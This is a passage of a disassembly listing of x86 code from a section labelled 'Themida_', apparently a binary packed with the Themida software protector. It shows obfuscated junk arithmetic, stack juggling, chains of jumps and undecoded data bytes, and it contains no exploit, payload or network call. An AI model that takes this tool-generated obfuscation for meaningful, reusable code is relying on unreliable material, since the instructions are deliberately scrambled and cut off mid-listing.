loc_5696D0:				; CODE XREF: Themida_:0056424Bj
		or	eax, eax
		jz	loc_566AB3
		push	eax
		jmp	loc_56BB8B
; ---------------------------------------------------------------------------

loc_5696DE:				; CODE XREF: Themida_:00562EE5j
		pop	ebx
		add	[esp+8], esi
		pop	esi
		add	dword ptr [esp+4], 3DD33B91h
		jmp	loc_565508
; ---------------------------------------------------------------------------

loc_5696F1:				; CODE XREF: Themida_:00566905j
					; Themida_:0056C991j
		mov	eax, 28D55D85h
		not	eax
		sub	eax, 0B12251D2h
		sub	ebx, eax
		pop	eax
		jmp	loc_566970
; ---------------------------------------------------------------------------
		db 83h,	0C6h, 4
		dd 5C243487h, 4495BE56h, 0BA52449Ch, 0BB63BB6Fh, 1EEEC681h
		dd 0D6017DD4h, 1EEEEE81h, 815A7DD4h, 0BF79D3C7h, 55F7014Eh
		dd 0A3755DBDh, 171E936h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56973A:				; CODE XREF: Themida_:0055FFC5j
		pop	ecx
		xor	ecx, 2D7E5D6Eh
		mov	ebp, [esp]
		jmp	loc_56C095
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 92h
		dd 0F959E835h, 0E570D0Fh, 0C3687C4Ch, 89000012h, 73B9240Ch
		dd 31FF6CDEh, 0C68959C8h, 83C58158h, 8120907Fh,	28240CEDh
		dd 0BA23E91Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56977A:				; CODE XREF: Themida_:005675E1j
		push	7EEFh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		push	cx
		mov	ch, 94h
		mov	ah, ch
		jmp	loc_56015C
; ---------------------------------------------------------------------------

loc_569793:				; CODE XREF: Themida_:00561C07j
		push	edx
		jmp	loc_56542C
; ---------------------------------------------------------------------------

loc_569799:				; CODE XREF: Themida_:0055D6D1j
		add	esp, 4
		jmp	loc_567FA5
; ---------------------------------------------------------------------------

loc_5697A4:				; CODE XREF: Themida_:loc_55E20Cj
		xor	ebp, 173F13h
		jmp	loc_564643
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 3ED2E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5697BA:				; CODE XREF: Themida_:loc_55AAF6j
		push	ebx
		mov	ebx, 281C7D67h
		shr	ebx, 6
		sub	ebx, 6A92799Ch
		not	ebx
		push	esi
		mov	esi, 75270093h
		sub	esi, 59EBECE8h
		xor	ebx, esi
		jmp	loc_56D108
; ---------------------------------------------------------------------------

loc_5697DE:				; CODE XREF: Themida_:00563B42j
		add	esi, 6A29621Fh
		pop	edi
		xchg	esi, [esp]
		jmp	loc_562372
; ---------------------------------------------------------------------------

loc_5697ED:				; CODE XREF: Themida_:0055AED0j
		add	esi, 40222DFFh
		sub	ecx, esi
		pop	esi
		xor	ebp, ecx
		pop	ecx
		push	7BDh
		jmp	loc_567BAA
; ---------------------------------------------------------------------------
byte_569803	db 66h			; DATA XREF: Themida_:0055602Co
		dd 6824048Bh, 4FEDh, 89241C89h,	7564E9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569816:				; CODE XREF: Themida_:0055C2CAj
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		pop	dword ptr [edi+40h]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		push	713Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_56808E
; ---------------------------------------------------------------------------

loc_56983F:				; CODE XREF: Themida_:005653D9j
		push	6013h
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_565AF8
; ---------------------------------------------------------------------------

loc_56984F:				; CODE XREF: Themida_:00568046j
		shl	bl, 3
		xor	bl, 83h
		sub	ah, bl
		mov	ebx, [esp]
		add	esp, 4
		add	ch, 0D2h
		sub	ch, ah
		sub	ch, 0D2h
		mov	eax, [esp]
		add	esp, 4
		xor	al, ch
		mov	cx, [esp]
		jmp	loc_55E6C0
; ---------------------------------------------------------------------------

loc_56987C:				; CODE XREF: Themida_:00566A40j
		push	7998h
		jmp	loc_55A669
; ---------------------------------------------------------------------------

loc_569886:				; CODE XREF: Themida_:005689CDj
		add	ebx, ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 3DC76EB3h
		neg	ebp
		xor	ebp, 7DF06BD6h
		jmp	loc_5633D9
; ---------------------------------------------------------------------------

loc_5698A0:				; CODE XREF: Themida_:0055CCC9j
		sub	bl, 0A3h
		add	bl, 23h
		jmp	loc_55CCE5
; ---------------------------------------------------------------------------
		db 81h
		dd 1C0C8EF5h, 0E9EF2978h, 0FFFF3725h, 33242C31h, 248B242Ch
		dd 24048B24h, 6CE95453h
		db 5, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_5698CB:				; CODE XREF: Themida_:loc_56B4B9j
		neg	ecx
		add	ecx, 5CF10D3h
		sub	ecx, 0AD28AC58h
		mov	edi, ecx
		jmp	loc_560E74
; ---------------------------------------------------------------------------

loc_5698E0:				; CODE XREF: Themida_:00566DFAj
		add	ecx, esi
		add	ecx, 20AB0AA4h
		sub	ecx, 46D54F85h
		push	esi
		push	ecx
		jmp	loc_56D71E
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	6B6Dh
		jmp	loc_561931
; ---------------------------------------------------------------------------

loc_569909:				; CODE XREF: Themida_:0056756Aj
		xchg	ebp, edx
		sub	edx, 3C71398Ah
		shr	edx, 7
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		mov	ecx, 4A177CBEh
		mov	eax, 0D2329793h
		jmp	loc_55797C
; ---------------------------------------------------------------------------
		dw 835Fh
		dd 348904ECh, 2D96BE24h, 0F3296C67h, 0E924348Bh, 0FFFFB2F3h
; ---------------------------------------------------------------------------

loc_569940:				; CODE XREF: Themida_:005669A5j
		add	esi, edi
		pop	edi
		jmp	loc_563061
; ---------------------------------------------------------------------------
		dd 2474FF55h, 242C8B04h, 8F04C483h, 0D25C2404h,	0E99C240Ch
		dd 0FFFEC987h, 0A91EE981h, 0C8893FD1h, 247E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56996E:				; CODE XREF: Themida_:00565B40j
		xchg	ebp, edx
		push	ebp
		jmp	loc_55A186
; ---------------------------------------------------------------------------
		dw 0C829h
		dd 667E3305h, 0E9595964h, 0FFFF2F77h
; ---------------------------------------------------------------------------

loc_569984:				; CODE XREF: Themida_:0056CCD6j
		push	dword ptr [esp]
		jmp	loc_55D1F6
; ---------------------------------------------------------------------------

loc_56998C:				; CODE XREF: Themida_:0056334Fj
		jmp	loc_5615D1
; ---------------------------------------------------------------------------

loc_569991:				; CODE XREF: Themida_:0056D44Cj
		xor	ebx, 0BB85075h
		sub	ebx, 52E52FF3h
		add	ebx, 0E8647069h
		add	edx, ebx
		jmp	loc_55D8B7
; ---------------------------------------------------------------------------

loc_5699AA:				; CODE XREF: Themida_:0055FA44j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_568DE2
; ---------------------------------------------------------------------------

loc_5699B5:				; CODE XREF: Themida_:0055A466j
		add	dh, 0Ch
		not	dh
		add	dh, 1
		jmp	loc_55E871
; ---------------------------------------------------------------------------

loc_5699C2:				; CODE XREF: Themida_:0055CC96j
		push	esi
		mov	esi, 790B67DDh
		add	[esp+8], esi
		jmp	loc_560602
; ---------------------------------------------------------------------------

loc_5699D1:				; CODE XREF: Themida_:00563038j
		push	edi
		jmp	loc_56BFAE
; ---------------------------------------------------------------------------

loc_5699D7:				; CODE XREF: Themida_:00562A19j
		and	dh, 0E2h
		add	dh, 0B2h
		add	bh, dh
		pop	edx
		push	edx
		jmp	loc_568883
; ---------------------------------------------------------------------------

loc_5699E6:				; CODE XREF: Themida_:00557951j
		sub	edx, 2
		jmp	loc_5663E2
; ---------------------------------------------------------------------------

loc_5699F1:				; CODE XREF: Themida_:loc_5588B8j
					; Themida_:00558F5Dj
		push	edx
		push	ebx
		mov	bl, 5Dh
		mov	dl, 9Eh
		sub	dl, bl
		jmp	loc_562E60
; ---------------------------------------------------------------------------

loc_5699FE:				; CODE XREF: Themida_:00566992j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55F1F3
; ---------------------------------------------------------------------------

loc_569A09:				; CODE XREF: Themida_:0055C612j
		or	edx, 5B711A35h
		add	edx, 3B6204E3h
		sub	edx, 0AE91BA1Bh
		add	ecx, edx
		pop	edx
		sub	ecx, 653B3C9Ch
		sub	edx, ecx
		pop	ecx
		add	edx, 42BA6712h
		add	edx, esi
		push	ebp
		jmp	loc_563A5D
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 84E90000h, 83FFFF7Ah, 0BE904C7h
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569A47:				; CODE XREF: Themida_:005585F3j
					; Themida_:0055C5CDj
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_557FE0
; ---------------------------------------------------------------------------

loc_569A55:				; CODE XREF: Themida_:loc_561F41j
		jmp	loc_565238
; ---------------------------------------------------------------------------

loc_569A5A:				; CODE XREF: Themida_:00567065j
		shr	edi, 3
		dec	edi
		inc	edi
		sub	edi, 947F27F8h
		sub	edx, edi
		pop	edi
		sub	edx, 491D1098h
		jmp	loc_56A663
; ---------------------------------------------------------------------------

loc_569A73:				; CODE XREF: Themida_:0055C7F4j
		sub	edx, 73EB5D9h
		jmp	loc_568871
; ---------------------------------------------------------------------------
		dw 0C5FEh
		dd 0F6E95066h, 0E9FFFF61h, 0FFFF874Dh
; ---------------------------------------------------------------------------

loc_569A8C:				; CODE XREF: Themida_:0055E01Fj
		shl	cl, 2
		jnp	loc_55EB58
		or	cl, 90h
		jp	loc_55E0F8
		push	edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	0DEEh
		jmp	loc_55FBDF
; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 66766824h, 348B6794h, 4C48324h, 525EF509h
		dd 96FF73BAh, 0C8ED8167h, 294D3165h, 0C8C581D5h, 0E94D3165h
		dd 0FFFF0CBCh, 0E9243C86h, 0FFFEC7FFh
; ---------------------------------------------------------------------------

loc_569AE8:				; CODE XREF: Themida_:0056AA37j
		add	ebx, ebp
		pop	ebp
		add	ebp, ebx
		pop	ebx
		dec	ebp
		neg	ebp
		add	ebp, 60ED51F7h
		xor	ebp, 0B439C48Bh
		sub	ebx, ebp
		pop	ebp
		sub	ebx, 64CE6BD4h
		add	ebx, eax
		jmp	loc_55924F
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 0FFFEECB7h
; ---------------------------------------------------------------------------

loc_569B18:				; CODE XREF: Themida_:00559381j
		mov	[esp], ebp
		mov	ebp, 68A52A1Ch
		xor	ecx, ebp
		jmp	loc_56C611
; ---------------------------------------------------------------------------
		dd offset dword_572768
		align 4
		dd 24048F54h, 4240483h,	31B4E95Bh, 0E9540000h, 0FFFFDDEDh
; ---------------------------------------------------------------------------

loc_569B40:				; CODE XREF: Themida_:0056A0AAj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	ebx
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_569B58:				; CODE XREF: Themida_:00566CFAj
		sub	edx, 5A293B81h
		jmp	loc_564EE0
; ---------------------------------------------------------------------------

loc_569B63:				; CODE XREF: Themida_:005685D3j
		push	ebx
		xor	dword ptr [esp], 764F34FAh
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56AC2F
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 92BE5624h, 89133B09h, 96E95EF2h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_569B8B:				; CODE XREF: Themida_:0055F514j
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_55A55E
; ---------------------------------------------------------------------------

loc_569BB5:				; CODE XREF: Themida_:00563B65j
		add	esp, 4
		jmp	loc_565CC7
; ---------------------------------------------------------------------------

loc_569BBD:				; CODE XREF: Themida_:00569C5Aj
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_5611F5
; ---------------------------------------------------------------------------

loc_569BCA:				; CODE XREF: Themida_:0056A865j
		sub	edi, ebx
		add	edi, 6F5257F4h
		pop	ebx
		neg	edi
		not	edi
		jmp	loc_55A138
; ---------------------------------------------------------------------------

loc_569BDC:				; CODE XREF: Themida_:005602F1j
		push	eax
		mov	eax, 279E3C58h
		jmp	loc_564DBF
; ---------------------------------------------------------------------------

loc_569BE7:				; CODE XREF: Themida_:00567F7Fj
		push	edx
		push	741E2157h
		pop	edx
		inc	edx
		add	edx, 4CFE5CD7h
		jmp	loc_55BCDF
; ---------------------------------------------------------------------------
word_569BFA	dw 0AD66h		; DATA XREF: Themida_:00556010o
		dd 5E356866h, 242C8966h, 6602EC83h, 66241C89h, 44BA6652h
		dd 0F80E92Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569C16:				; CODE XREF: Themida_:00564917j
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_56C609
; ---------------------------------------------------------------------------

loc_569C27:				; CODE XREF: Themida_:loc_55B6F7j
		add	dl, 0FCh
		mov	al, dl
		pop	edx
		xor	al, 36h
		jz	loc_5616DA
		dec	al
		xor	al, 8Dh
		jp	loc_5631D4
		shr	al, 6
		xor	al, 17h
		xor	ch, al
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_569BBD
; ---------------------------------------------------------------------------

loc_569C5F:				; CODE XREF: Themida_:0055E94Dj
		sub	[esp], eax
		pushf
		jmp	loc_56C105
; ---------------------------------------------------------------------------
		dd 181CE951h, 8950FFFFh, 405E0h, 0E9560000h, 2BF7h
; ---------------------------------------------------------------------------

loc_569C7C:				; CODE XREF: Themida_:0055B9C0j
		push	ebx
		mov	bh, 97h
		push	cx
		jmp	loc_561470
; ---------------------------------------------------------------------------

loc_569C86:				; CODE XREF: Themida_:00566FCDj
		shl	ebp, 7
		sub	ebp, 0E92DFC82h
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_559779
; ---------------------------------------------------------------------------

loc_569C9F:				; CODE XREF: Themida_:0056BFBCj
		shl	edx, 2
		push	eax
		push	edi
		mov	edi, 40CD6C87h
		mov	eax, edi
		jmp	loc_556D12
; ---------------------------------------------------------------------------

loc_569CB0:				; CODE XREF: Themida_:0056543Cj
		add	edi, 4BDB21A7h
		add	edx, edi
		pop	edi
		add	edx, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_567412
; ---------------------------------------------------------------------------

loc_569CDC:				; CODE XREF: Themida_:005587CAj
		movzx	eax, al
		jmp	loc_556935
; ---------------------------------------------------------------------------

loc_569CE4:				; CODE XREF: Themida_:00568E43j
		mov	eax, 4
		jmp	loc_55E68E
; ---------------------------------------------------------------------------

loc_569CEE:				; CODE XREF: Themida_:0055FC9Cj
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_559864
; ---------------------------------------------------------------------------
		dd 7249FDBDh, 0A0BE97Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_569D1E:				; CODE XREF: Themida_:00565FC8j
		push	1D2Bh
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_56AE76
; ---------------------------------------------------------------------------

loc_569D2D:				; CODE XREF: Themida_:0055EB5Bj
		jmp	loc_55724D
; ---------------------------------------------------------------------------

loc_569D32:				; CODE XREF: Themida_:0056D687j
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	5D00h
		mov	[esp], eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_55F469
; ---------------------------------------------------------------------------

loc_569D50:				; CODE XREF: Themida_:00568BA3j
		pop	edx
		add	ebx, 72251F10h
		sub	ebx, eax
		sub	ebx, 72251F10h
		add	ebx, 3A4C120Ch
		push	ebp
		jmp	loc_55E0C6
; ---------------------------------------------------------------------------

loc_569D6B:				; CODE XREF: Themida_:0055EC40j
		pop	dword ptr [esp]
		mov	esp, [esp]
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_569D7A:				; CODE XREF: Themida_:00557248j
		xchg	eax, esi
		jmp	loc_559C86
; ---------------------------------------------------------------------------

loc_569D80:				; CODE XREF: Themida_:0055CC47j
		add	edx, 0C003E887h
		add	ebx, 640F6461h
		jmp	loc_55B507
; ---------------------------------------------------------------------------

loc_569D91:				; CODE XREF: Themida_:0055A0D5j
		push	ebp
		mov	ebp, 1A80439Dh
		jmp	loc_5622E8
; ---------------------------------------------------------------------------

loc_569D9C:				; CODE XREF: Themida_:0055821Ej
		shl	ebx, 4
		jmp	loc_556402
; ---------------------------------------------------------------------------

loc_569DA4:				; CODE XREF: Themida_:loc_5564FEj
		add	dl, 0B9h
		jmp	loc_56CB58
; ---------------------------------------------------------------------------

loc_569DAC:				; CODE XREF: Themida_:00567994j
		sub	esi, 107E2E64h
		add	esi, eax
		add	esi, 107E2E64h
		sub	esi, 38D731F6h
		pop	eax
		add	esi, 2
		jmp	loc_565671
; ---------------------------------------------------------------------------
		db 25h,	8Ch, 42h
		dd 0B9514BC0h, 466F3EC7h, 0C138F181h, 0C829B990h, 8E8C159h
		dd 0BF44DB2Dh, 0E956522Eh, 3A6h
; ---------------------------------------------------------------------------

loc_569DEC:				; CODE XREF: Themida_:00560391j
		pop	ebp
		mov	esi, 4C40CEC9h
		jmp	loc_55ED80
; ---------------------------------------------------------------------------

loc_569DF7:				; CODE XREF: Themida_:00559BE5j
		mov	edx, 620BB15h
		xor	eax, edx
		pop	edx
		push	edi
		mov	edi, 7C5F1B00h
		sub	edi, 2F85A1B3h
		jmp	loc_5609FB
; ---------------------------------------------------------------------------

loc_569E10:				; CODE XREF: Themida_:00560D6Aj
		and	ecx, 12DE3971h
		push	esi
		mov	esi, 619E08DBh
		inc	esi
		push	edi
		mov	edi, 545B6BC6h
		sub	esi, edi
		jmp	loc_5690F0
; ---------------------------------------------------------------------------

loc_569E2A:				; CODE XREF: Themida_:00566F57j
		sub	edx, 31B57FA7h
		jmp	loc_562B89
; ---------------------------------------------------------------------------
		db 0B0h, 66h, 2Ch
		dd 58C6882Bh, 0F03E6C0h, 0FF332D84h, 51D6F6FFh,	0EDC06BB5h
		dd 8BF58004h, 0EE9EE30h
		db 5, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_569E57:				; CODE XREF: Themida_:0056AA3Dj
		mov	edi, esp
		add	edi, 4
		jmp	loc_557F03
; ---------------------------------------------------------------------------
		dd 2EBA525Eh, 813F0E7Ch, 0E6431ACAh, 20870F78h,	0E9FFFF15h
		dd 6F1h, 80243C89h
		db 0C4h, 10h, 50h
; ---------------------------------------------------------------------------

loc_569E83:				; CODE XREF: Themida_:00561265j
		xchg	ebp, [esp]
		jmp	loc_560F68
; ---------------------------------------------------------------------------

loc_569E8B:				; CODE XREF: Themida_:0055F57Ej
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jmp	loc_566EBB
; ---------------------------------------------------------------------------

loc_569E98:				; CODE XREF: Themida_:00562A08j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		or	esi, 3BF36CEh
		add	esi, 0B440C136h
		add	edi, esi
		pop	esi
		push	4667h
		mov	[esp], eax
		jmp	loc_563BF7
; ---------------------------------------------------------------------------

loc_569EC4:				; CODE XREF: Themida_:00562F53j
		and	eax, ebx
		mov	ebx, [esp]
		push	esi
		jmp	loc_567EBF
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9565DE8h, 0FFFFB338h
; ---------------------------------------------------------------------------

loc_569ED8:				; CODE XREF: Themida_:00567978j
		pop	ax
		jmp	loc_5661B7
; ---------------------------------------------------------------------------

loc_569EDF:				; CODE XREF: Themida_:005580E8j
		pop	edi
		push	235Eh
		mov	[esp], ebx
		push	edi
		mov	edi, 4DEF2952h
		not	edi
		xor	edi, 0FE98F3EFh
		push	402Ch
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		mov	ecx, 599770B9h
		mov	esi, ecx
		pop	ecx
		add	[esp+4], esi
		jmp	loc_55E73E
; ---------------------------------------------------------------------------

loc_569F16:				; CODE XREF: Themida_:0055999Fj
		pop	edi
		jmp	loc_557E15
; ---------------------------------------------------------------------------

loc_569F1C:				; CODE XREF: Themida_:0056270Aj
					; Themida_:0056D309j
		xor	edx, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55DC57
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFCAA2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569F41:				; CODE XREF: Themida_:0056086Dj
		jmp	loc_562F32
; ---------------------------------------------------------------------------
word_569F46	dw 77FFh		; DATA XREF: Themida_:00556170o
		dd 58669D1Ch, 24041966h, 0C391E99Ch, 0EC83FFFEh, 24348904h
		dd 0DEA8BA52h, 81520933h, 4ECh,	24048900h, 0C847E7B8h
		dd 0E68EE971h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_569F76:				; CODE XREF: Themida_:0056B05Ej
		pop	eax
		pop	esi
		jmp	loc_558B7B
; ---------------------------------------------------------------------------

loc_569F7D:				; CODE XREF: Themida_:00564E2Bj
		pop	eax
		jmp	loc_55C564
; ---------------------------------------------------------------------------

loc_569F83:				; CODE XREF: Themida_:0055CCEBj
		pop	small word ptr [edi+eax*4]
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_569F8C:				; CODE XREF: Themida_:00558DB9j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		push	ebp
		mov	ebp, 0CEB5C3Dh
		jmp	loc_55C6EC
; ---------------------------------------------------------------------------
byte_569FAD	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055616Co
aHce		db '$h√e',0
		align 2
		dw 1489h
aHe_0		db '$h┘`',0
		align 2
		dw 0EC81h
		dd 4, 83242489h, 8F042404h, 36E92404h, 1FFFEDAh, 549E2DD0h
		dd 15A468Dh, 593468F8h,	34890000h, 27B0BE24h, 0EEC12960h
		dd 4E4E4608h, 0B850D6F7h, 3BF6C02h, 34E9C601h, 0FFFFFB3h
		dd 1FBC8Eh, 0D417E900h,	8B66FFFEh, 0EC83240Ch, 30055904h
		dd 819B4C37h, 0F02F6BEFh, 8C0EE93Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A022:				; CODE XREF: Themida_:005638CBj
		pop	esp
		jmp	loc_559FBD
; ---------------------------------------------------------------------------

loc_56A028:				; CODE XREF: Themida_:0055B078j
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		pop	ebx
		or	ebx, 28962091h
		push	ecx
		push	2455h
		mov	[esp], edx
		push	60E0450h
		pop	edx
		xor	edx, 21B27C87h
		xor	edx, 0B795A098h
		jmp	loc_557BD3
; ---------------------------------------------------------------------------
		db 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_56A081:				; CODE XREF: Themida_:0055B45Aj
		push	68E4h
		mov	[esp], esi
		push	edx
		push	13D530Eh
		pop	edx
		sub	esp, 4
		jmp	loc_56D4ED
; ---------------------------------------------------------------------------
		dd 0E95FFA89h, 0FFFEFEE7h
; ---------------------------------------------------------------------------

loc_56A0A0:				; CODE XREF: Themida_:00556F56j
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_569B40
; ---------------------------------------------------------------------------
		db 5Ch
		dd 31243433h, 34332434h, 24248B24h, 9C240408h, 0FEC222E9h
		dd 34BF25FFh, 40485262h, 0E903E0C1h, 0FFFF77D9h
; ---------------------------------------------------------------------------

loc_56A0D4:				; CODE XREF: Themida_:00565638j
		sub	eax, 74C14EA6h
		push	eax
		xor	dword ptr [esp], 49283199h
		pop	dword ptr [edi+20h]
		xor	dword ptr [edi+20h], 49283199h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	[edi+20h], eax
		jmp	loc_556DD4
; ---------------------------------------------------------------------------
		db 66h,	59h, 53h
		dd 80FCB252h, 0D788B9F2h, 6E7C05Ah, 403F780h, 2CF80046h
		dd 0D8285B46h, 0FF8E4FE9h, 24148BFFh, 5104C483h, 19031CB9h
		dd 0EEEF811Dh, 29272C27h, 0EEC781CFh, 59272C27h, 91C7BB53h
		dd 0DF298394h, 5FF8315Bh, 6930C181h, 0C1013645h, 1D9AE9h
		dd 12EF8100h, 587DBD45h, 67F6B05h, 6D4E0530h, 0D8E91090h
		db 18h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A167:				; CODE XREF: Themida_:005587ADj
		neg	ecx
		sub	ecx, 3E645930h
		add	ecx, 0BBF508ACh
		or	ebx, ecx
		pop	ecx
		shl	ebx, 1
		jmp	loc_55FA33
; ---------------------------------------------------------------------------

loc_56A17F:				; CODE XREF: Themida_:0056C9D2j
		shr	eax, 8
		jp	loc_55A394
		inc	eax
		jz	loc_567F16
		push	edi
		mov	edi, esi
		mov	esi, 11E16146h
		mov	edx, 1DCA76CDh
		xor	edx, esi
		pop	esi
		xor	edx, 42917C06h
		or	eax, edx
		pop	edx
		add	eax, 20048415h
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_564971
; ---------------------------------------------------------------------------

loc_56A1BD:				; CODE XREF: Themida_:0055EBBDj
		sub	ebp, esi
		add	ebp, 16736457h
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		push	4
		mov	ecx, [esp]
		jmp	loc_55E1A0
; ---------------------------------------------------------------------------

loc_56A1FB:				; CODE XREF: Themida_:005592ACj
		xor	edi, 0CEA91BD3h
		sub	esi, 9FA5E48h
		jmp	loc_5691EE
; ---------------------------------------------------------------------------

loc_56A20C:				; CODE XREF: Themida_:loc_56823Aj
		add	esi, 4C20EC14h
		add	esi, 44784E6Fh
		jmp	loc_5576CE
; ---------------------------------------------------------------------------
		db 89h,	0C6h, 58h
		dd 5FB3E681h, 0D2E90A7Dh, 87FFFFC3h, 248B243Ch,	4C58124h
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56C96C
; ---------------------------------------------------------------------------
byte_56A23F	db 66h			; DATA XREF: Themida_:00556094o
		dd 68240C8Bh, 203Ah, 68241C89h,	73A1h, 81242489h, 42404h
		dd 84E90000h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A25F:				; CODE XREF: Themida_:0056B527j
		pop	ebx
		push	45D4h
		mov	[esp], esi
		push	edx
		mov	edx, 4
		push	5832h
		mov	[esp], ecx
		push	edx
		sub	dword ptr [esp], 647B1596h
		pop	ecx
		add	ecx, 647B1596h
		push	ecx
		pop	esi
		pop	ecx
		pop	edx
		add	ebp, esi
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	eax, 0Bh
		xor	ecx, eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_56564B
; ---------------------------------------------------------------------------
		dd 57242C8Bh, 0C7815F54h, 4, 0FF53F0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A2C9:				; CODE XREF: Themida_:0055FCF8j
		sub	ecx, 0EA93B0B8h
		push	ecx
		jmp	loc_566CB1
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0E924248Bh, 0FFFFCEF0h
; ---------------------------------------------------------------------------

loc_56A2E0:				; CODE XREF: Themida_:005674EEj
		push	ebx
		mov	ebx, 0
		add	ebx, 1E7A3D26h
		add	ebx, ecx
		push	eax
		mov	eax, 1E7A3D26h
		sub	ebx, eax
		pop	eax
		add	eax, [ebx]
		pop	ebx
		pop	ecx
		pop	ebx
		push	45D5h
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_567B1E
; ---------------------------------------------------------------------------

loc_56A30D:				; CODE XREF: Themida_:0055741Cj
		push	eax
		mov	eax, 750F6D11h
		mov	ebp, 65F977E4h
		xor	ebp, eax
		pop	eax
		jmp	loc_55EE67
; ---------------------------------------------------------------------------

loc_56A320:				; CODE XREF: Themida_:005671EFj
		sub	ecx, eax
		pop	eax
		sub	edx, ecx
		mov	ecx, [esp]
		add	esp, 4

loc_56A32E:				; CODE XREF: Themida_:00559D31j
